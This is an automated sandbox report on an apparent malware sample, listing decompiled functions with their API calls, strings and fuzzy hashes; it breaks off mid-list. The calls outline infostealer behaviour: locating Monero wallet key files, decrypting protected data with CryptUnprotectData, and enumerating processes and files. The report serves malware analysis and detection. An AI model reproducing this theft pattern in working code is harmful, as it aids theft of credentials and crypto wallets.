><, xrefs: 00C2B83F
1Y:, xrefs: 00C2B53E
k Rk, xrefs: 00C2AFC3
b[n, xrefs: 00C2B172
11y-, xrefs: 00C2B42F
7*O{, xrefs: 00C2B300
Qz-, xrefs: 00C2B746

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 11y-$7*O{$Qz-$b[n$k Rk$1Y:$><
API String ID: 0-350295712
Opcode ID: a583dd45a5b847c5af47c94b5b36afa5a9644823866337c44f6d87ea7b764fb8
Instruction ID: 5fcc5e95ed41aeede73b049506ca1655f76ed022ccea9c4f79044f7ffe8a82cc
Opcode Fuzzy Hash: a583dd45a5b847c5af47c94b5b36afa5a9644823866337c44f6d87ea7b764fb8
Instruction Fuzzy Hash: 40B219F360C214AFE3046E29EC8567AF7E9EF94720F1A493DEAC4D3744EA3558018697

Function 0086E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00880D73), ref: 0086E4A2
StrCmpCA.SHLWAPI(?,008814F8), ref: 0086E4F2
StrCmpCA.SHLWAPI(?,008814FC), ref: 0086E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0086EBDF

Strings

\*.*, xrefs: 0086E44D

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 73674e41a997595397e2bd92c1ac95b1b6bf30508561a68d8a165bf932cccdf5
Instruction ID: 41072a560dcf0e100233885948cfc2939fd5190b344bcc255897bff3cf5d7e47
Opcode Fuzzy Hash: 73674e41a997595397e2bd92c1ac95b1b6bf30508561a68d8a165bf932cccdf5
Instruction Fuzzy Hash: 801220719101149ADB1CFB68DC96EEE7378FB94300F4081A8A52ED6195EF349F49CB93

Function 00C2E06E Relevance: 9.2, Strings: 6, Instructions: 1653COMMON

Download Yara Rule

Strings

_W^t, xrefs: 00C2EB11
R'3, xrefs: 00C2E12E
QYv{, xrefs: 00C2EA52
K%], xrefs: 00C2E6EA
aw, xrefs: 00C2F1E2
cZ<, xrefs: 00C2EA8D

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: K%]$QYv{$R'3$_W^t$aw$cZ<
API String ID: 0-4190752915
Opcode ID: 44659b7301c60ecddf48f4e6df65a720049d785483f3af690fde2e8a5252380b
Instruction ID: 297c362cd4ecab06ac93767d8a56d8dc58ab48194db1b50469bcd4f6b1c2bb12
Opcode Fuzzy Hash: 44659b7301c60ecddf48f4e6df65a720049d785483f3af690fde2e8a5252380b
Instruction Fuzzy Hash: DFB2E6F360C2049FE304AE2DEC4567ABBE9EFD4620F1A453DEAC4C3744EA3598458697

Function 0086C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0086C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0086C87C
lstrcat.KERNEL32(?,00880B46), ref: 0086C943
lstrcat.KERNEL32(?,00880B47), ref: 0086C957
lstrcat.KERNEL32(?,00880B4E), ref: 0086C978

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: ab6d47346b3200df05926286e93ee70ac55b5255996dc00d14a2e08a28de4ceb
Instruction ID: f3a859fa1d9836835a67c8f978c1ddb3a8e7a981eac9deb16d973a3d0c996447
Opcode Fuzzy Hash: ab6d47346b3200df05926286e93ee70ac55b5255996dc00d14a2e08a28de4ceb
Instruction Fuzzy Hash: 5D416DB590421ADBDB10DFA4DD89BFEBBB8FB48304F1041A8E509A72C0D7745A85CF91

Function 00867240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0086724D
RtlAllocateHeap.NTDLL(00000000), ref: 00867254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00867281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 008672A4
LocalFree.KERNEL32(?), ref: 008672AE

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: d38bddb4c45b5fcf04ee08d6abcc7e071f98bddfcd24cc7e70c96ee7be33bf19
Instruction ID: 664ca4cd8ed6e224aa8aae4c19457ca50d7acfeb627f5ceaf811563a98242a4f
Opcode Fuzzy Hash: d38bddb4c45b5fcf04ee08d6abcc7e071f98bddfcd24cc7e70c96ee7be33bf19
Instruction Fuzzy Hash: AD01EDB5A40209BBDB50DFD4CD45F9E77B8EB48B04F104154FB05EA2C0D774AA01CBA5

Function 00879600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0087961E
Process32First.KERNEL32(00880ACA,00000128), ref: 00879632
Process32Next.KERNEL32(00880ACA,00000128), ref: 00879647
StrCmpCA.SHLWAPI(?,00000000), ref: 0087965C
CloseHandle.KERNEL32(00880ACA), ref: 0087967A

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 184770efd06b2032b92b9b19264be18f7f94fb0910d1c3926e48d933da0c35b3
Instruction ID: 64e312b757c83553b34a472c577e0f3ddc69cc8eea6696e2f0be689ae8700d9c
Opcode Fuzzy Hash: 184770efd06b2032b92b9b19264be18f7f94fb0910d1c3926e48d933da0c35b3
Instruction Fuzzy Hash: 5F01E9B5A00209ABCB15DFA5C948BEEB7F8FB58300F108288E94AD7280D7349A45CF51

Function 00C34B12 Relevance: 6.6, Strings: 4, Instructions: 1610COMMON

Download Yara Rule

Strings

st^, xrefs: 00C34D41
Wuvs, xrefs: 00C34E86
~~_, xrefs: 00C34D7F
L/v, xrefs: 00C35E29

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Wuvs$st^$~~_$L/v
API String ID: 0-798858268
Opcode ID: bf97176a308fd7ed4e9170a56a09b632410113d38fbb5d77958919c721573da2
Instruction ID: 56dd831464fde9281616533545f9c3f2d718058092949faf8925260fbfef9daa
Opcode Fuzzy Hash: bf97176a308fd7ed4e9170a56a09b632410113d38fbb5d77958919c721573da2
Instruction Fuzzy Hash: 38B2F6F3A0C204AFE304AE2DEC8577AF7E9EF94620F1A453DEAC4C3744E63558058696

Function 00C316C8 Relevance: 6.6, Strings: 4, Instructions: 1606COMMON

Download Yara Rule

Strings

!|sq, xrefs: 00C321EA
BumY, xrefs: 00C31BD1
uvw^, xrefs: 00C32084
H9r, xrefs: 00C32275

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !|sq$BumY$H9r$uvw^
API String ID: 0-2612479984
Opcode ID: cd588d96752fe09d249f2d7080701e24dbad68b075b522130372753a0a73efd9
Instruction ID: 1101aa82ab8b44bfa2af3f4d79aa6e49e4dbfd860e352af2380e836e5450aacd
Opcode Fuzzy Hash: cd588d96752fe09d249f2d7080701e24dbad68b075b522130372753a0a73efd9
Instruction Fuzzy Hash: 29B2F5F360C204AFE704AE29EC8567AFBE9EF94720F16493DE6C4C3744E63558418697

Function 00C27412 Relevance: 6.6, Strings: 4, Instructions: 1589COMMON

Download Yara Rule

Strings

&u, xrefs: 00C279B1
*@?, xrefs: 00C27B5F
u7?, xrefs: 00C2762D
!s~+, xrefs: 00C280B1

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !s~+$*@?$u7?$&u
API String ID: 0-1056303262
Opcode ID: 9649fd8e0379e8eb9f947764f8547678bcfc8022ccdd97823d7541dbd22ae4b5
Instruction ID: 0695a2b2ad6eb5ec83254d21a1b6151da27ae4fe82e64b8fd41a553c13e1c912
Opcode Fuzzy Hash: 9649fd8e0379e8eb9f947764f8547678bcfc8022ccdd97823d7541dbd22ae4b5
Instruction Fuzzy Hash: ECA23AF3A0C204AFE7046E2DEC8567AFBE9EF94360F16493DEAC5C3344E93558058696

Function 00C3B401 Relevance: 6.5, Strings: 4, Instructions: 1529COMMON

Download Yara Rule

Strings

++}v, xrefs: 00C3BB6D
2eo, xrefs: 00C3BD12
K}?M, xrefs: 00C3BA7E
L^, xrefs: 00C3C59A

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ++}v$2eo$K}?M$L^
API String ID: 0-2310634233
Opcode ID: df6d283c138aabc6acbc3eafa9e1356c80b2c040f2ee7d4cc698e2d1ef63bf77
Instruction ID: e98c0e56dc6bc1241e2099f32d1e67e7f3a26ba73988a62a0bb21f7d17049e5f
Opcode Fuzzy Hash: df6d283c138aabc6acbc3eafa9e1356c80b2c040f2ee7d4cc698e2d1ef63bf77
Instruction Fuzzy Hash: C6B2C2F260C2009FE708AE29EC8567AFBE5EF94720F16493DEAC5C3744EA3558418797

Function 00C29193 Relevance: 6.4, Strings: 4, Instructions: 1400COMMON

Download Yara Rule

Strings

;5C?, xrefs: 00C29A0C
[(tv, xrefs: 00C29918
B;, xrefs: 00C29CC7
SA, xrefs: 00C2936E

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;5C?$SA$[(tv$B;
API String ID: 0-1544452065
Opcode ID: 826246aee8b69dc1a54452a29b4d4b8f512216323a21d375aba59639a4d93280
Instruction ID: 301d491a205dc196df85af2c18ee2dd7110ec46bd4bd3ecb26809d92cf20d7f9
Opcode Fuzzy Hash: 826246aee8b69dc1a54452a29b4d4b8f512216323a21d375aba59639a4d93280
Instruction Fuzzy Hash: 30923AF360C2009FE705AE29DC8567AB7E5EF94320F1A853DEAC5C3744EA3598058697

Function 00878680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,008805B7), ref: 008786CA
Process32First.KERNEL32(?,00000128), ref: 008786DE
Process32Next.KERNEL32(?,00000128), ref: 008786F3

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

CloseHandle.KERNEL32(?), ref: 00878761

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
